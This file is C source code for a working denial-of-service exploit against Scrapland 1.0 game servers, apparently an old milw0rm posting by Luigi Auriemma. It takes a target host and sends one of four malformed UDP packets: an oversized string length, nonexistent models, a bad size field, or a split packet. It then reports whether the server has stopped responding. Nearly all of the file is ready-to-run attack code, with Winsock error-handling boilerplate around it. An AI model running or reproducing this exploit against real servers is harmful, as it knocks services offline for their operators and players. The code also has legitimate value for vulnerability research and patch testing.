// Scrapland <= 1.0 Server Termination Denial of Service Exploit

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#ifdef WIN32
    #include <winsock.h>
/*
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, "\nError: %s\n", error);
    exit(1);
}

    #define close   closesocket
    #define ONESEC  1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define ONESEC  1
#endif



#define VER         "0.1"
#define BUFFSZ      2048
#define PORT        28086
#define TIMEOUT     3

#define SEND(x,y)   if(sendto(sd, x, y, 0, (struct sockaddr *)&peer, sizeof(peer)) \
                      < 0) std_err();
#define RECV        if(timeout(sd) < 0) { \
                        fputs("\nError: socket timeout, no reply received\n\n", stdout); \
                        exit(1); \
                    } \
                    len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
                    if(len < 0) std_err();
#define ADDSHORT(x) *(u_short *)p = x; \
                    p += 2;
#define ADDLONG(x)  *(u_long *)p = x; \
                    p += 4;
#define ADDTEXT(x)  *p++ = sizeof(x) - 1; \
                    memcpy(p, x, sizeof(x) - 1); \
                    p += sizeof(x) - 1;



int timeout(int sock);
u_long resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    struct  sockaddr_in peer;
    int     sd,
            len;
    u_short port = PORT;
    u_char  buff[BUFFSZ],
            info[] =
                "\x7f"
                "\x01\x00"
                "\x00\x07",
            pck[] =
                "\x7f"
                "\x00\x00"
                "\x00\x00"
                "\x00",
            *p;


    setbuf(stdout, NULL);

    fputs("\n"
        "Scrapland <= 1.0 server termination "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 3) {
        printf("\n"
            "Usage: %s <attack> <host> [port(%d)]\n"
            "\n"
            "Attack:\n"
            " 1 = big text string (size>SSize)\n"
            " 2 = unexistent models (you can test this bug also modifying scrap.cfg)\n"
            " 3 = newpos<=size\n"
            " 4 = partial packet after small packet (1 or 2 bytes)\n"
            "\n", argv[0], port);
        exit(1);
    }

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    if(argc > 3) port = atoi(argv[3]);

    peer.sin_addr.s_addr  = resolv(argv[2]);
    peer.sin_port         = htons(port);
    peer.sin_family       = AF_INET;

    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr), port);

    fputs("- request informations\n", stdout);
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();
    SEND(info, sizeof(info) - 1);
    RECV;
    printf("\n  Server name   %s\n", buff + 10);
    printf("  Players       %d / %d\n\n",
        *(u_short *)(buff + 8), *(u_short *)(buff + 6));

    if(*(u_short *)(buff + 8) == *(u_short *)(buff + 6)) {
        fputs("- Alert: the server is full so this attack will fail\n\n", stdout);
    }

    fputs("- send BOOM packet\n", stdout);
    switch(atoi(argv[1])) {
        case 1: {
            pck[5] = 0xff;              // major than 0x7f
            *(u_short *)(pck + 1) = sizeof(pck) - 4;
            SEND(pck, sizeof(pck) - 1);
            } break;
        case 2: {
            p = buff;
            *p++ = 0x7f;
            p += 2;                     // data size
            ADDSHORT(0);                // don't know, pck related?
            ADDTEXT("Unnamed Player");  // PlayerName
            ADDTEXT("unexistent");      // PlayerModel
            ADDSHORT(65);               // PlayerMaxLife
            ADDTEXT("unexistent");      // PilotModel
            ADDTEXT("unexistent");      // Motor0Model
            ADDTEXT("unexistent");      // Motor1Model
            ADDTEXT("unexistent");      // Motor2Model
            ADDTEXT("unexistent");      // Motor3Model
            ADDTEXT("1,3,0,0,1,0,1");   // WeaponBayList
            ADDLONG(0);                 // PlayerTeamID
            *(u_short *)(buff + 1) = (p - buff) - 3;

            SEND(buff, p - buff);
            } break;
        case 3: {
            *(u_short *)(pck + 1) = 1;  // major than 0
            SEND(pck, 5);
            } break;
        case 4: {
            SEND(pck, 1);
            sleep(ONESEC);
            *(u_short *)(pck + 1) = 0;
            SEND(pck, 3);
            } break;
        default: {
            fputs("\nError: wrong attack selected\n\n", stdout);
            exit(1);
            }
    }

    fputs("- check server:\n", stdout);
    SEND(info, sizeof(info) - 1);
    if(timeout(sd) < 0) {
        fputs("\nServer IS vulnerable!!!\n\n", stdout);
    } else {
        fputs("\nServer doesn't seem vulnerable\n\n", stdout);
    }

    close(sd);
    return(0);
}



int timeout(int sock) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}



u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_long *)hp->h_addr;
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif

// milw0rm.com [2005-02-28]
